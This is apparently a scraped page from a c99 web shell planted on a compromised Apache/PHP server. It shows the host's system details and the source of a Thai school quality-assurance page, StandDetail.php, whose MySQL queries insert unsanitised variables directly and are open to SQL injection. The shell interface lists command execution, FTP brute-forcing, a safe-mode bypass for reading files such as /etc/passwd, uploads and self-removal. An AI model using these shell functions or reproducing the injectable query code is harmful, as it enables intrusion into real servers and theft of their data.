!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/   drwxr-xr-x
Free 51.23 GB of 127.8 GB (40.08%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     StandDetail.php (9.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("./include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
 
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
  
$sql2 ="SELECT * FROM qa_pi_cri_tb WHERE Stand_code='$Stand_code'";
  
$result2 mysql_query($sql2) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result2);
 
$sql1 ="SELECT * FROM qa_pi_cri_tb WHERE code='$code'";
  
$result1 mysql_query($sql1) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">


<style type="text/css">
<!--
.style20 {font-size: 14px}
.style21 {
    font-size: 14px;
    font-weight: bold;
}
.style22 {color: #000000}
.style23 {font-size: 14px; font-weight: bold; color: #000000; }
.style24 {
    font-family: Tahoma;
    font-size: 14px;
    color: #000000;
    font-weight: bold;
}
.style25 {
    font-family: Tahoma;
    font-weight: bold;
    font-size: 14px;
}
-->
</style>
<table width="817" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="817"><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php" >หน้าหลัก</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="EditPi_List.php?Stand_code=<? echo $rs[Stand_code]?>"></a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="./picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /> รายละเอียดตัวบ่งชี้งานประกันคุณภาพการศึกษา</font></legend>
            <div align="center"><form id="form1" name="form1" method="post" action="">
              <p align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></p>
              <table width="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#666666" style="border:0px solid black">
                  <tr bgcolor="#006633" >
                    <td height="27" colspan="2"><div align="center" class="style20"><font color="#FFFFFF" face="Tahoma"><strong>รายละเอียดตัวบ่งชี้งานประกันคุณภาพการศึกษา</strong></font></div></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td width="10%" height="20" bgcolor="#FFFFFF"><div align="center" class="style23">
                      <div align="center"><font face="Tahoma">มาตรฐานที่</font></div>
                    </div></td>
                    <td width="90%" bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma"><strong> <? echo $rs[Stand_code]?></strong></font></td>
                  </tr>
                  <tr bgcolor="#FFFFFF">
                    <td bgcolor="#FFFFFF"><div align="center" class="style21 style22">
                      <div align="center"><font face="Tahoma">ตัวบ่งชี้ข้อที่</font></div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma"><strong><? echo $rs[Ind_code]?> </strong><? echo $rs[Indicate]?></font></td>
                  </tr>
                  
                  <tr bgcolor="#EEEEEE">
                    <td height="22" bgcolor="#FFFFFF"><div align="center" class="style20">
                      <div align="center"><strong><font face="Tahoma">ที่มา</font></strong></div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma"><? echo $rs[Source]?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center" class="style20">
                      <div align="center"><strong><font face="Tahoma">เพื่อชี้</font></strong></div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#006633" size="2" face="Tahoma"><? echo $rs[IncFor]?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><span class="style22"></span></td>
                    <td bgcolor="#FFFFFF"><span class="style20"><strong><font face="Tahoma">เกณฑ์ตัดสินในการประเมิน</font></strong></span></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="right" class="style25">
                      <div align="center">P)</div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Awa])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center" class="style24">
                      <div align="center">D)</div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Att])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center" class="style24">
                      <div align="center">C)</div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Ach1])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center" class="style25">
                      <div align="center">A)</div>
                    </div></td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Ach2])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center"><span class="style20"></span></div></td>
                    <td bgcolor="#FFFFFF"><h4 class="style24">ผลการดำเนินงาน </h4></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Ach3])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><p class="style25">ผลการประเมิน </p></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Awa])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><p class="style25">แนวทางการพัฒนา</p></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[Ach4])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF">&nbsp;</td>
                    <td bgcolor="#FFFFFF"><p class="style25">รายการหลักฐาน </p></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center"><span class="style25">P)</span></div></td>
                    <td bgcolor="#FFFFFF"><a href="Pi_List.php?Stand_code=<?=$rs["Stand_code"?> "title="Click to see Detail" class="d"><font color="#003366" size="2" face="Tahoma"><? echo  nl2br($rs[E_awa])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center"><span class="style25">D)</span></div></td>
                    <td bgcolor="#FFFFFF"><a href="Pi_List.php?Stand_code=<?=$rs["Stand_code"?> "title="Click to see Detail" class="d"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[E_att])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center"><span class="style25">C)</span></div></td>
                    <td bgcolor="#FFFFFF"><a href="Pi_List.php?Stand_code=<?=$rs["Stand_code"?> "title="Click to see Detail" class="d"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[E_ach1])?></font></td>
                  </tr>
                  <tr bgcolor="#EEEEEE">
                    <td bgcolor="#FFFFFF"><div align="center"><span class="style25">A)</span></div></td>
                    <td bgcolor="#FFFFFF"><a href="Pi_List.php?Stand_code=<?=$rs["Stand_code"?> "title="Click to see Detail" class="d"><font color="#003366" size="2" face="Tahoma"><? echo nl2br($rs[E_ach2])?></font></td>
                  </tr>
                  <tr bgcolor="#CCCCCC">
                    <td colspan="2" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  <tr bgcolor="#006600" >
                    <td height="25" colspan="2" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
              </table>
                <br>
            </form>
        </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
        </font></td>
    </tr>
</table>


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0101 ]--